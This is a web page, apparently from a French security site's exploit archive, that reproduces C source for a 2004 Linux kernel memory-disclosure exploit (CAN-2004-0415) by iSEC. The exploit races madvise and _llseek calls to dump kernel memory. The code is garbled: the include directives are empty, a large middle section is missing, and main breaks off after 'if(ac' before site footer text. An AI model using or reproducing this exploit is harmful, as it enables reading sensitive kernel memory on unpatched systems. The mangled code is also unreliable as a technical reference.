Linux Kernel File Offset Pointer Handling Memory Disclosure Exploit


                        
/*
 * CAN-2004-0415 / gcc -O3 proc_kmem_dump.c -o proc_kmem_dump
 *
 * Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 */


#define _GNU_SOURCE

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#include 
#include 
#include 
#include 

#include 

#include 


//      define machine mem size in MB
#define MEMSIZE 64



_syscall5(int, _llseek, uint, fd, ulong, hi, ulong, lo, loff_t *, res,
          uint, wh);



void fatal(const char *msg)
{
        printf("\n");
        if(!errno) {
                fprintf(stderr, "FATAL ERROR: %s\n", msg);
        }
        else {
                perror(msg);
        }

        printf("\n");
        fflush(stdout);
        fflush(stderr);
        exit(31337);
}


static int cpid, nc, fd, pfd, r=0, i=0, csize, fsize=1024*1024*MEMSIZE,
           size=PAGE_SIZE, us;
static volatile int go[2];
static loff_t off;
static char *buf=NULL, *file, child_stack[PAGE_SIZE];
static struct timeval tv1, tv2;
static struct stat st;


//      child close sempahore & sleep
int start_child(void *arg)
{
//      unlock parent & close semaphore
        go[0]=0;
        madvise(file, csize, MADV_DONTNEED);
        madvise(file, csize, MADV_SEQUENTIAL);
        gettimeofday(&tv1, NULL);
        read(pfd, buf, 0);

        go[0]=1;
        r = madvise(file, csize, MADV_WILLNEED);
        if(r)
                fatal("madvise");

//      parent blocked on mmap_sem? GOOD!
        if(go[1] == 1 || _llseek(pfd, 0, 0, &off, SEEK_CUR)", name);
        printf("\n\n");
        exit(1);
}


int main(int ac, char **av)
{
        if(ac

 F-VNS Security Audits de Sécurité & Tests Intrusifs Mailing Listes Advisories  Service Publicitaire

Tous droits réservés © 2002-2004 K-OTiK Security Voir Notice Légale   

actualité informatique  Exploits